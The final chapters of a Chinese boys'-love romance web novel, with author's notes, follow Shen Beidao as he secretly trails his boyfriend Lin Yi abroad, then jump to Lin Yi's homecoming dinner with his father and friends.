午餐后,林逸去了图书馆,借了几本参考书,然后在便利店买了瓶水和一盒草莓牛奶。 沈北岛跟在后面,像一道卑微的影子。 他看着林逸走在街道上,抬头看看天空,停下脚步看看橱窗的展示品,那背影透着一种独在异乡的孤寂感。 沈北岛的心口轻轻扯了一下,涌起一阵心疼,他想要立刻冲上去抱住。 但他没有这么做。 …… 下午的讲座,林逸准时参加。 沈北岛混在听众席的后排,目光始终盯着那个专注的侧影。 讲座结束,林逸收拾东西,似乎准备直接回家。 沈北岛松了口气。 看来,是他想多了。 就在林逸快要走出教学楼时,几个同学的快步追上了他,围着他兴奋地说了些什么。 林逸听着,脸上露出些许犹豫,但很快,在同学们的热情下,他点了点头。 然后,他们一起走向了停车场。 林逸上了其中一辆车。 沈北岛迅速拦下一辆出租车,对司机说:“跟上前面那辆银灰色的丰田。” 司机是个中年大叔,从后视镜里看了一眼这个戴着帽子口罩,气场冷峻的男人,识趣地没有多问,熟练地跟了上去。 车上,沈北岛拿出手机,点开与林逸的聊天框,斟酌了一下,发出一条消息: 【在干嘛?】 林逸的回复跳了出来: 【刚下课,原本准备回家的,不过我同学说新发现了一家游戏主题的清吧,特别有意思,非要拉我去放松放松】 沈北岛盯着屏幕上的字,指尖微微发凉。 他继续打字: 【什么同学?聚会多少人?】 小兔子【怎么,沈总现在是在查岗吗】 小兔子【还是吃醋了?】 小兔子【我的沈老师,你放心,都是普通同学,一个班的】 小兔子【这段时间大家相互帮忙搞课题,也挺累的,他们热情邀请,我也不好意思总拒绝】 小兔子【要是有意思就多玩一会儿,没意思我就提前溜】 小兔子【不用担心我!保证九点之前一定安全到家!给你发消息报平安!】 看着这熟悉的,带着点撒娇意味的保证,沈北岛心里那根紧绷的弦却越绷越紧。 林逸在车上听同学聊八卦。 “绑架那事有结果了吗?” “能有什么结果,听说她男友欠了赌债,自导自演搞绑架讹钱,现在正打官司呢!帆帆家肯定不会放过他,八成得送进去。” “她身体怎么样了?出院没?” “肋骨断了几根,脚踝也骨折了,学校怕影响学校名声,还偷偷给送了慰问金。 住哪家医院也没人知道,怕媒体找上门,也怕男方父母跑来求和,影响她养伤。” “对了!林逸,她之前不是和你一组做过课题吗?你没私下问问她?” 林逸摇头:“没有,当时她很少来教室,说是男朋友管得紧。” “要我说,中国人还是得和中国人谈,从小习惯不一样,早晚出问题。” “我也觉得。” “哎?林逸,你有女朋友吗?” “没。”确实没有女朋友,倒是有一个远在江州的男朋友。 但是,林逸很少和他们聊私事。 除了课程要求的合作,他顶多就是参加点集体活动打发时间,关于个人情况,他从不深谈,毕竟很多同学都不在国内生活,毕业后也就再也不见了。 只要关系过得去就好。 “那你谈过恋爱吗?” 林逸“嗯”了一声,不再接话。 …… 大约二十分钟后,车子停在了一条相对安静,装饰风格新潮的街区。 林逸和五六个同学下了车,走进一家门面设计成复古游戏机风格的清吧。 负责组织游戏的工作人员确认了他们的预订,笑着迎上来: “哟,今天多了两位新面孔,还挺帅嘛。” 沈北岛下车,站在街对面。 林逸和同学们被工作人员引到一张预留的长桌旁坐下,很快有人端来酒和几盒桌游。 看起来,真的只是一次普通的同学聚会。 沈北岛犹豫了一下,正要过马路,手机震动了。 是林逸发来的一张照片,拍的是桌上的饮料和狼人杀卡牌。 小兔子【开始了,感觉氛围还不错!】 小兔子【下次你来我带你玩,怎么样】 沈北岛想,或许真的是他想多了? 他站在路边,点燃了一支烟,心里五味杂陈。 他想立刻把他抱在怀里,确认他的所有权,驱散这一年来因距离而产生的所有不安和猜疑。 但他也知道,他需要给林逸空间,也要相信他。 沈北岛抽完了两支烟,他看了看表,快八点了。 他给林逸拨去电话,抬头看到林逸推门出来,站在门口昏黄的路灯下,接起了他的电话。 “逸逸,在做什么呢?” 沈北岛故作平静。 “刚才不是给你发消息了么,是不是又忙得没空看手机了。”林逸语调失落。 “我在跟同学聚会呢,玩狼人杀,刚被票出来了,正好出来透透气。” 林逸的声音带上了一点点喘息,“等会儿这局结束,估计也差不多了,我就回家跟你视频。” “什么同学?靠谱吗?” 沈北岛笑着问,路灯下那个身影蹲下身,好像在系鞋带。 “你放心,我跟他们也不是特别熟,就是这段时间相互帮忙,人家邀请,我也不好总拒绝。” “嗯。”沈北岛应了一声,“你看对面……” “嗯?什么?” 沈北岛正准备招手。 清吧的门突然被推开了。 一个戴眼镜,斯斯文文的男生走了出来,径直走向蹲在路灯下的林逸。 沈北岛的话堵在了喉咙里。 “等会儿,我有点事”,然后挂断了电话。 沈北岛握着传来忙音的手机,看着路灯下相对而立的两个身影。 距离有点远,听不清具体说什么。 林逸出于礼貌,朝他打了声招呼:“你也出局了?” “林逸,我有话跟你说,可以去旁边便利店坐坐吗?” 林逸摆了摆手:“不了,我不喜欢吃零食,有什么事就在这里说吧?” 男人扭扭捏捏,犹豫了一会,才说:“这段时间谢谢你的帮助,你不仅没有嫌弃我经常给组里拖后腿,还愿意帮我……” “没事!都是同学,而且你自己也完成了应该做部分,我顶多就是给你提提建议,不用放在心上。” “……我刚刚听说你没有女朋友。” 林逸感觉他说话声音越来越轻,皱着眉点了点头,“是啊,不过……” 他话还没说完,对方抢了话:“那你能接受一个男朋友吗?” 结果一双大手按住了他的肩膀,“他不能接受。” 林逸:“……?” 他感觉自己像做梦一样,眨了眨眼,又眨了眨眼。 是沈北岛?真的是沈北岛? 他不是在国内吗?怎么会突然出现在这里? 还穿得跟个特务似的? 没等他消化完这巨大的冲击,就听到沈北岛用那种平静得含着风暴的语气,补充完了下半句: “因为他已经有男朋友了。” 眼前的画面让他愣了几秒,林逸突然反应过来,张开双臂就扑了上去,紧紧抱住沈北岛的腰,把脸埋进他的胸膛,声音带上了哽咽: “沈北岛!你……你怎么来了?我想死你了!!!” 预想中同样用力地拥抱并没有到来。 沈北岛的身体僵硬了一瞬,然后,他抬手,轻轻地将林逸往外推了推。 林逸不解地抬头看他。 沈北岛眼神瞄向了旁边那位还干站着的同学,眼神里的警告透着冰冷。 林逸顺着他的目光看过去,瞬间明白了什么。 他心里又是好笑,又是无奈,还有一点点被在乎的甜蜜。 他赶紧重新搂紧了沈北岛的胳膊,这次用了全部力气,整个人几乎挂在他身上。 然后转向那位同学,脸上堆起一个不一样的笑容,仿佛在说:抱歉,但我男朋友就是这样我也没办法。 “真不好意思啊,王同学,我男朋友他心眼特小,还特黏人,不让我跟别人出去玩,查岗查得可严了。” “你看,这都追到日本来了……” 他晃了晃沈北岛的胳膊,十指紧扣,语气带着刻意的抱怨,“所以,我现在得赶紧把他领回家了,不然他又要生气了。” “麻烦你帮我跟里面的同学说一声,谢谢大家今天的邀请,我有事先走了。” 他故意这么说的,思来想去。 他刚发了定位没多久,沈北岛就出现在了身边,多半是跟踪来的。 那位王同学脸上的血色全无,勉强挤出一个笑容,维持最后的体面:“没关系,林逸,我刚才……就是开个玩笑,你别误会,你们先忙,我去跟同学们说一声。” “麻烦了!下次我请大家吃饭!” 都跟踪到这里了,我要是敢回去继续玩,这肯定要跟我大闹一场,那我的屁。股还想不想要了……—— 作者有话说:宝子们!出差回来了,本文下一章完结章,番外会看情况多写点,起初设定就是甜美美的小故事,写不太长,张泽轩的事如果想看也会多写点,如果不太能接受就大概三章左右,可以看看隔壁正在连载的文哦!也是心机腹黑攻~《 》 【正文完】 第51章 事后。 林逸起床去倒水,结果刚站起身,差点跟地面来个亲密接触。 沈北岛还没来得及穿衣服,上去,一把接住林逸,“我来,别乱动。” 沈北岛把他抱回床上,“你现在要多喝热水,手这么凉。” 他说着便起身,赤脚踩在地板上,走向小厨房去烧水。 不一会儿一杯冒着热气的水端过来,“以后,少跟同学去那种地方,熬夜,酒精,对你身体不好。” “你是不希望我去酒吧?还是单纯地看到我跟别人在一起吃醋了?”林逸喝了一口,小声嘟囔,“真是正宫的位置,小三的度量。” “小三?”沈北岛愣了一下,本来抽出的一支烟再次放回了烟盒里,“有时候想想做小三也挺不错的,不用在乎表面的那些颜面,尽情地在床上为所欲为就好。” “我要是真的找个小三,也得做上面的,老子之前可是!”林逸越说越来劲,一抬头想要提出压他一次,但是对上了沈北岛的眼神,顿感不妙。 “反攻这事虽然需要提上日程,但是今天我累了,还是改天再议吧,我那什么……我要休息,明天还要上课呢!” “明天周六,你全天没课,上周的课表你发给我看过,我记得很清楚。” 林逸:“……” 谎言被当面戳穿,他尴尬得脚趾都能抠出三室一厅。 沈北岛的记忆力好得令人发指,尤其是在关于他的事情上。 他看了一眼手表,“现在过了十二点,已经是第二天了,早上好,亲爱的。” “新的一天开始,是不是该有早安吻。” 林逸被他这声带着缱绻,又暗藏危险的“亲爱的”叫得头皮发麻,心脏不受控制地跳起来。 他别开脸:“现,现在是凌晨……算什么早上啊……” 林逸除了嘴硬,身体全。软了,室内的温度在升高。 某种熟悉的危险气息,正从沈北岛身上源源不断地散发出来,快要将他密密包裹了。 “怎么不算呢?现在已经是第二天了,亲我一下好不好。” 林逸别过脸去,“我不要。” 他直接俯首,吻了上去。 林逸原本虚虚穿在身上的丝绒睡衣,早在不知何时从肩头滑落,露出一大片白皙的,还残留着昨夜痕迹的皮肤。 他手里原本握着的还剩半杯水的玻璃杯,被沈北岛在接吻的间隙,毫不留情地抽走。 只是,杯子没有落在床头柜上,而是被随意地搁置在了旁边的地毯上,发出沉闷而轻微的一声“咚”。 杯中的水晃动了几下,洒出几滴,在深色的地毯上洇开几团更深的痕迹。 但此刻没人去在意那个杯子。 林逸被这个绵长而深入的吻弄得意乱情迷,身体只能被动地承受着,回应着…… “但是,再这么下去我会受伤的。” “我会温柔的。” “但是你再怎么温柔,也不能等比缩小啊——” “宝贝,是潜力股……” “我相信宝贝适应能力强,一定可以完好无损地容纳他的,对吗?” 林逸的头埋在被子里,心想:也不知道这边的医院好不好挂号,以后沈北岛来的前一天得提前挂号! 他现在严重怀疑沈北岛胖了! 不然怎么会吞。不下去呢!! — 一年后,江州机场,国际到达出站口。 沈北岛站在接机口最显眼的位置,手里捧着一大束鲜花。 他今天推掉了所有工作安排,从上午就开始处理邮件和电话,只为了下午能准时出现在这里。 手机不停地响,他不得不接起电话。 “喂?沈教授!啊不,现在该叫沈总了!你们到了没?接到林逸没?” “T3航站楼,估计还有半个小时到达。” 张泽轩在电话那头叽叽喳喳的,“我这还在外面出差呢,还在高速上,到江州还有一个半小时,到了饭店你们先吃,等我一到,自罚三杯给咱林大艺术家接风!不用等” “哎哎哎!我还没说完呢!” 电话那头出现了争执,谢醇打断了他,“你们来家里吃吧,我让阿姨准备了菜,等会儿小张把地址发给你。” “叔叔,您跟林逸说过吗?” “你把他带过来,哪有学成归来的第一顿饭去外面吃的。” 沈北岛没再说什么,只应了声“知道了”,便挂断了电话。 他望着出站口熙熙攘攘的人流,心里盘算着等会儿怎么跟林逸开口。 直接说去谢醇家? 以林逸那爱憎分明的性子,再加上刚回国可能还没倒过时差的疲惫,恐怕会当场炸毛。 这两年,林逸在国外虽然也会隔三岔五给谢醇打电话,但是上个月看他的态度,林逸对他爸的意见还是有些大。 林逸出国留学的第一年,谢醇一直在美国工作,一年都没有回来。 张泽轩据说听从了家里的安排,去了事业单位工作。 有一次在餐厅遇见,还看到他身边带了个女朋友。 后来,一次暑假,林逸回国待了二十天,谢醇为了看儿子,回了国。 至于为什么现在,张泽轩又回到了谢醇的身边,沈北岛就不知情了。 晚上,七点多。 出站口的方向,一个熟悉的身影背着双肩包,拖着个不大的登机箱,几乎是跑着冲了出来。 他一眼就看到了人群中那个捧着花,鹤立鸡群的身影,眼睛瞬间亮了! “老公——!!!” “我们终于不用异地了!!”林逸把脸埋在他颈窝,用力蹭了蹭,“再也不用隔着屏幕看你了!!我以后每天都要跟你黏在一起!!” 沈北岛失笑,一手稳稳抱着他,另一手护着花束,低头在他发顶亲了亲,声音温柔:“上周我不是才去看过你,这才分开一周而已。” 话虽这么说,收紧的手臂却泄露了他同样的想念。 林逸狠狠地亲了他一口,“你都不知道你走的这几天我有多难熬!又要忙学校的结业展览,又要应付教授的约谈,还要自己一个人打包行李、处理退租……简直是身心俱疲!” 沈北岛挑眉,语气带着点疑惑:“嗯?我记得我走之前,大部分行李都已经打包封箱了,连标签都贴好了,你又买了什么新东西?” “先保密!回去再给你看!走走走,先去转盘拿我的大箱子!里面可都是宝贝!” 他拉着沈北岛往行李提取区走,原本的疲惫早就没了,归家的兴奋压倒了一切 沈北岛开车带着林逸去了谢醇的别墅。 这别墅是前两年回国不久买的,林逸从来没有来过。 两人下车,等候在门口的保姆上前,热情地接过林逸的行李。 走进别墅,挑高的大厅宽敞气派,装修是现代简约风格,但缺少点“家”的生活气息,更像一个高级会所。 谢醇听到动静,从客厅走了出来。 他依旧穿着深色西装,只是没打领带,看起来比平日少了几分严肃。但 只不过林逸看出了他脸上的疲惫感,还有鬓角的几根白发。 “爸,最近公司很忙吗?” 这一声“爸”,叫得谢醇心头一暖,连日来的烦闷似乎都散去不少。 看来儿子出去历练了两年,确实长大了,懂事了,知道关心人了。 “是有些忙,忙过这阵子就好了。”谢醇摆摆手,“你先去洗手,准备吃饭,我让阿姨做了你爱吃的。” “嗯。”林逸一转身,竟然看到了张泽轩从厕所里走了出来,一边走还一边系裤腰带。 “哟!儿子你回来了!”张泽轩眼睛一亮,脸上瞬间堆起夸张的笑,“我刚才可是在门口张望半天,跟那村口盼儿归的老婆婆似的,望眼欲穿,泪眼婆娑啊!” 林逸看到他,也乐了,张开手臂就给了他一个大大的拥抱:“是啊,乖儿子,你爹我回来了。” 毋庸置疑,真兄弟之间都想成为对方的爹。 “想死我了!”张泽轩用力回抱,还故意拍了拍林逸的后背,“快让爹看看,在日本是不是光吃生鱼片了?怎么感觉没胖还瘦了?” 两人嘻嘻哈哈,互相损着,瞬间找回了那种没心没肺的兄弟感。 “怎么今天救你一个人,李锐周子阳他们呢?” “李锐前两天放假回来了,周子阳他们几个都出去旅游了,说要下周回来,群里刚才还发旅游照炫耀呢!” 张泽轩勾住林逸的肩膀,压低了声音,神秘兮兮地说,“还有个秘密,你绝对猜不到!!” 这时候,谢醇正好从卧室出来,扬声制止:“张泽轩,别乱说话!” 林逸被父亲这突如其来的严厉吓了一跳。 在他的记忆里,谢醇对他虽然不算特别亲近,但也从未用这种近乎呵斥的语气跟张泽轩说过话。 因为,张泽轩毕竟是他的朋友。 张泽轩也是一愣,有些不满地撇撇嘴:“谢叔叔,您干嘛呀!我跟林逸聊聊天怎么了……” “逸逸,过来,这有你喜欢的芥末味的寿司。” 林逸确实饿了,他暂时把张泽轩的“八卦”和父亲的异样抛到脑后,小跑着过去:“哪儿呢?我尝尝!在日本天天吃,回来了反而超级馋!!” 谢醇借林逸跑开的空档,走到张泽轩身边,抬手不轻不重地拍了一下他的肩膀,“有些话不要乱说,尤其今天。” “嘿!!”我说什么了? 几个人陆续在宽敞的餐厅落座。 餐桌上有林逸喜欢的日料,也有地道的江州本帮菜,还有精致的粤式点心,显然是用了心思的。 林逸在外面节省惯了,一时还有些不习惯。 张泽轩坐在林逸身边,“刚才的事我还没说完呢,周子阳说年底要结婚了,你猜跟谁?” “啊?结婚?” 林逸正夹了一块三文鱼刺身,闻言,下意识地瞥了一眼身旁安静用餐的沈北岛,“他不也才毕业没多久,跟谁?” “赵晴。”张泽轩吐出两个字,满意地看着林逸瞬间瞪大的眼睛。 “卧槽?!赵晴?!”林逸惊得差点被芥末呛到,连咳了几声,沈北岛不动声色地递过一杯水,“他俩?!什么时候的事?藏得够深的啊!” “据说是毕业了以后,赵晴不是跟她那个前男友,叫什么浩的,去了男方老家一个四五线小城市发展,在那边过了俩月,才发现那男的是个十足的妈宝男,什么事都听他妈的,赵晴受了不少委屈。” “有一次吵得特别凶,那男的居然还推了她一把,赵晴脾气你也知道,当时半夜三点,直接拎着行李箱就冲出了门!” “巧就巧在,周子阳那会儿正好被公司派到那个城市的分部实习,咱晴姐在街头又冷又怕的,翻通讯录不知道该找谁,周子阳接到电话,问清位置,二话没说,凌晨开车就赶过去了,把咱晴姐接上车,还连夜开了好十几个小时的车,直接把她送回了家。” “后来呢?”林逸听得入了神,连饭都忘了吃。 “后来?后来赵晴父母知道了前因后果,后怕得不得了,对周子阳各种感谢,还经常叫到家里吃饭。” “再后来,周子阳工作表现不错,调回了江州总部,就跟赵晴慢慢联系多了,一来二去,上个月都见家长了。” 张泽轩一拍大腿:“这俩人瞒得可真紧!还是前几天,他俩手拉手在我家旁边那个景区闲逛,我正好出门倒垃圾,被我逮个正着,这才招了!” “晴姐说了,男人啊,还是不能只看外表,得看有没有心,爱不爱她。” 林逸嘴里也没停下吃东西,点了点头,“赵晴其实跟你有点像,看着大大咧咧,其实认准了谁,就会掏心掏肺,毫无保留。就是有时候,太容易付出,反而容易受伤。” 沈北岛默默地又给林逸碗里夹了块他爱吃的糖醋排骨。 张泽轩凑近林逸,胳膊搭在他椅背上,眨巴着眼睛问:“你也觉得,我是个特别值得托付,特别专一的好男人,是不是?” 林逸正低头啃排骨,顺着他的话点头:“是啊,你虽然平时没个正形,但对待感情肯定认真,不过你也别羡慕周子阳,缘分这事急不来,该来的总会来的。” 张泽轩等的就是这句话! “要是已经来了呢?” 林逸停下咀嚼的动作,侧头看他,满眼好奇:“谁呀?我认识吗?咱们同学?还是你单位新来的同事?” 张泽轩抬起手,朝着餐桌主位的方向,指了指:“在那里坐着呢!” 林逸顺着他手指的方向看过去—— 沈北岛的筷子停在了空中。 谢醇喝下一口红酒。 林逸的目光,却越过了谢醇,落在他身后不远处,那位正端着汤碗从厨房走出来的—— 系着围裙、面相和善、年约五十的保姆阿姨身上。 “轩子,那位阿姨看着人挺和气的,但是,年纪是不是……都能当你干妈了吧?这会不会……不太合适啊?” 张泽轩:……??? 谢醇:………… 沈北岛默默放下筷子,拿起餐巾擦了擦嘴角,掩饰住那一瞬间几乎要控制不住上扬的唇角。 空气,突然安静得可怕。 (正文完)—— 作者有话说:这章完结是对应一章赵晴的做法,闭环。 有时候我们可能就像一本书的配角,寥寥几句话概括,但是他们都是自己人生的主角 番外会写甜甜的日常,林逸创业+沈北岛贤外助,以及他一直想反攻hhh 感谢追更,我其实也想多写点,但是真的讲完了,下本见哦!《 》